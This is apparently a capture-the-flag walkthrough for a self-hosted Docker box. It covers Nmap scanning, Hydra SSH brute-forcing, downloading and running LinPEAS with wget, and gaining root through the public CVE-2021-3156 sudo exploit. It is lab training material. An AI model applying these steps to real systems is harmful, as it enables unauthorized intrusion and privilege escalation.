Sudo Walkthrough

Requirements:

Nmap

SSH – Password brute forcer (Hydra etc)

Difficulty:

Medium/Hard

General CTF experience required

Walkthrough:

1. Build and host the docker server.
   * docker build -t <NAME> .
   * docker run -p 22:22 <NAME>
2. Run NMAP to find the open port.

Text

Description automatically generated

1. The open SSH port requires credentials to establish a connection. The credentials can be discovered by brute forcing common usernames and passwords.

Text

Description automatically generated

Using Hydra finds the credentials of admin:password

A screenshot of a computer

Description automatically generated with medium confidence

1. Connect to the victim using the discovered credentials.

Text

Description automatically generated

1. Download and run “Linpeas” using the following commands to check for privilege escalation vulnerabilities.
   * wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas\_linux\_amd64
   * chmod +x linpeas\_linux\_amd64
   * ./linpeas\_linux\_amd64
2. Running “Linpeas” detects Sudo with the non-standard version 1.9.5p1, highlighting it in red to indicate a potential vulnerability.



1. Googling this version of Sudo finds an exploit.

Text

Description automatically generated

1. (Optional) Using the “searchsploit sudo” command within Kali Linux also finds the vulnerability.



1. Googling the found CVE for a public exploit finds the GitHub page <https://github.com/worawit/CVE-2021-3156>
2. Downloading and executing the repository with the command “python3 exploit\_nss.py” returns a root shell.

Text

Description automatically generated

1. The flag can then be found in root directory.

Text

Description automatically generated